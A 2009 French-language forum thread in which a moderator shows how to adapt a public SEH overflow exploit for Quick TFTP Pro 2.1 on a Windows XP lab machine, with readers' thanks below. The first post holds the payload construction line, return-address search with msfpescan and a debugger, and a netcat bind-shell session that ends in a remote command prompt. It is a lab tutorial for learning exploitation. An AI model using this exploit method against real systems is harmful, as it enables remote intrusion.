Remote Exploit Forums

Go Back   Remote Exploit Forums > International Communities > BackTrack French Community > Tutoriaux et howtos


Closed Thread
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 07-28-2009, 11:03 AM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 173
Default Analyse et modification d'un exploit BOF win 32

Nous allons ici étudier un exploit publié et le modifier afin qu'il puisse fonctionner dans notre environnement. Sauf si bien sur il fonctionne du permier coup.

on va s'attaquer à ça : Quick TFTP Pro 2.1 Remote SEH Overflow Exploit (0day) - date 2008-03-26

voici le lien pour le télécharger : Quick TFTP Pro 2.1 Remote SEH Overflow Exploit (0day)

Il faut avoir une machine XP SP2 avec Quick TFTP Pro 2.1 d'installé (virtualisée ou pas), ollydb et/ou Immunity Debugger.
On va commencer par modifier notre exploit avec la bonne ip à attaquer, ensuite on va scanner une fois notre victime pour vérifier si le port est bien ouvert et on va finir par lancer notre exploit :

Code:
root@BT4-Nag:~# nmap -sU 192.168.1.39 -p 69

Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-28 08:25 CEST
Interesting ports on 192.168.1.39:
PORT   STATE         SERVICE
69/udp open|filtered tftp
MAC Address: 00:0C:29:F6:8A:1A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds

root@BT4-Nag:~# python quickpro.py
|*| Quick TFTP Pro 2.1 SEH Overflow (0day)
|*| http://www.offensive-security.com
|*| Sending evil packet, ph33r
|*| Check port 4444 for bindshell

root@BT4-Nag:~# nc -vvv 192.168.1.39 4444
192.168.1.39: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) |192.168.1.39| 4444 (?) : Connection refused
 sent 0, rcvd 0
On constate que ça ne marche pas "out of the box".

On va donc relancer notre tftp et attacher le process dans ollydb afin de voir ce qu'il se passe.

Code:
...
0012F788   00000000
0012F78C   00400000  tftpserv.00400000
0012F790   00400110  ASCII "PE"
0012F794   0012F784
0012F798   00000000
0012F79C   0012F7BC  ASCII "PUT, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."...
0012F7A0   7C920895  RETURN to ntdll.7C920895 from ntdll.7C92089F
0012F7A4   00400000  tftpserv.00400000
0012F7A8   00000001
..


on constate que l'écrasement du buffer se produit, allons voir ce qu'il se passe du côté de notre seh.

Code:
0012FBB4   41414141
0012FBB8   41414141
0012FBBC   909008EB  Pointer to next SEH record
0012FBC0   74D31458  SE handler
0012FBC4   90909090
0012FBC8   90909090
0012FBCC   90909090
0012FBD0   90909090
0012FBD4   4DEB6AFC
0012FBD8   FFFFF9E8
0012FBDC   6C8B60FF
0012FBE0   458B2424
0012FBE4   057C8B3C
on a bien, comme dans l'exploit , nos 1019 "A", un saut de 8bits en avant, une adresse de retour, 16 nops "\x90" et notre shellcode.

voici la partie correspondante dans notre exploit
Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell
on va donc aller voir ou pointe notre seh chain avec ollydb (menu view - view seh)



elle pointe nul part, il va donc falloir nous trouver une adresse de retour valide. Pour se faire nous allons utiliser des outils bien pratiques. Il faut commencer par utiliser le plugin ollydb safe seh et trouver un process avec safe seh à OFF.



On voit deux fichiers qui vont pouvoir nous fournir notre adresse de retour, alors soit on exécute le process dans ollydb et on recherche une séquence "pop pop ret" à la main soit on scan notre fichier avec msfpescan.

Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfpescan -p tftpserver.exe

|tftpserver.exe|
0x0048994a pop ebx; pop edx; retn 0x4ad9
0x004bd7ae pop esi; pop ecx; retn 0x0004
on va donc modifer notre sploit avec une des adresses de retour trouvée.

on change : "\x58\x14\xd3\x74"
Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell
par : "\x4a\x99\x48\x00"
Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x4a\x99\x48\x00"+"\x90"*16+shell
ce qui correspond à la première valeur trouvée par msfpescan

Code:
#0x0048994a pop ebx; pop edx; retn 0x4ad9
#0x004bd7ae pop esi; pop ecx; retn 0x0004
bon on m'a déjà dit je ne comprends pas le rapport entre 0x0048994 et \x4a\x99\x48\x00. On écrit à l'envers tout simplement parce que la pile se remplit à l’envers, c’est-à-dire en partant de la fin du segment et en remontant vers le début.

l'adresse 0x0048994 va donc donner \x4a\x99\x48\x00.



le bof fonctionne mais toujours pas de shell, normal car on ne peut pas utiliser une adresse de retour commençant par un null byte 00.

Code:
root@BT4-Nag:~# nc -vvv 192.168.1.39 4444
192.168.1.39: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) |192.168.1.39| 4444 (?) : Connection refused
 sent 0, rcvd 0
il ne nous reste plus qu'à analyser la dll trouvée avec le plugin safe seh. On va le faire à la main dans ollydb pour l'exemple. On relance notre tftp et attache le process dans ollydb.

/SafeSEH Module Scanner, item 27
SEH mode=/SafeSEH OFF
Base=0x74ca0000
Limit=0x74cc0000
Module version=1.0 (XPClient.010817-1148)
Module Name=C:\WINDOWS\system32\oledlg.dll

Alt-e dans ollydb pour voir les modules executables et on choisi oledlg.dll

voila déjà une adresse que l'on va pouvoir tester

Code:
74CA1458   5B               POP EBX
74CA1459   5D               POP EBP
74CA145A   C2 0C00          RETN 0C


la même chose avec immunity debbuger, c'est joli car y a des couleurs (plus facile pour repérer une suite d'instruction)



on va modifier notre sploit avec notre nouvelle adresse

Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xca\x74"+"\x90"*16+shell
#74CA1458 5B POP EBX -> safe seh \o/

et tester tout ça

Code:
root@BT4-Nag:~# python quickpro.py
|*| Quick TFTP Pro 2.1 SEH Overflow (0day)
|*| http://www.offensive-security.com
|*| Sending evil packet, ph33r
|*| Check port 4444 for bindshell

root@BT4-Nag:~# nc -vvv 192.168.1.39 4444
192.168.1.39: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) |192.168.1.39| 4444 (?) open
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\nagual\Bureau>ipconfig
ipconfig

Configuration IP de Windows


Carte Ethernet Connexion au réseau local:

        Suffixe DNS propre à la connexion :
        Adresse IP. . . . . . . . .*. . . : 192.168.1.39
        Masque de sous-réseau . . .*. . . : 255.255.255.0
        Passerelle par défaut . . .*. . . : 192.168.1.1

C:\Documents and Settings\nagual\Bureau>
Si cela vous a interessé, à vous de vous documenter sur les buffer overflow .

voici 2-3 liens en français pour débuter

Ghosts In The Stack - Les buffers overflows
Ghosts In The Stack - Buffer overflows sous XP SP2
Pérégrination d'un wanabee-hacker: First real exploitation on Windows
__________________
http://backtrack-fr.net

Last edited by Nagual; 07-28-2009 at 04:11 PM.
  #2 (permalink)  
Old 07-30-2009, 02:08 AM
Fidzk's Avatar
Just burned his ISO
 
Join Date: Dec 2008
Posts: 2
Thumbs up Vraiment enrichissant ce poste...

C'est un sujet particulièrement captivant... Si je puis me permettre.
Merci!!!

Last edited by Fidzk; 07-30-2009 at 02:21 AM.
  #3 (permalink)  
Old 07-30-2009, 10:46 AM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 173
Default

c'est sur que c'est un sujet très passionnant.
Y a rien de compliqué dans ce tuto car je ne rentre pas dans les détails, de plus tout le job de fuzzing a déjà été fait .
C'était juste pour donner une petite idée de ce qui se cache derrière les exploits tout près que l'on trouve sur milworm et qui ne "marche pas".
__________________
http://backtrack-fr.net
  #4 (permalink)  
Old 07-30-2009, 02:16 PM
Just burned his ISO
 
Join Date: Jun 2008
Posts: 2
Default

En tout cas c'est une super initiative que tu as eu de remettre tous les tutos sur ce fofo... ca manquait un peu...
  #5 (permalink)  
Old 08-06-2009, 05:58 PM
Junior Member
 
Join Date: Jun 2009
Posts: 6
Default

Merci s3th,

Y fais plaisir ton tuto.

Encor merci pour ton travail.
  #6 (permalink)  
Old 08-12-2009, 08:53 AM
Junior Member
 
Join Date: Jun 2009
Location: Brussels
Posts: 24
Default

Que du bonheur
__________________
http://ne0matrix.blogspot.com
http://ne0matrix.blip.tv
  #7 (permalink)  
Old 08-12-2009, 12:51 PM
Member
 
Join Date: Jun 2009
Posts: 30
Default

Merci, bien utile pour commencer les BOF.
Closed Thread

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 02:02 PM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2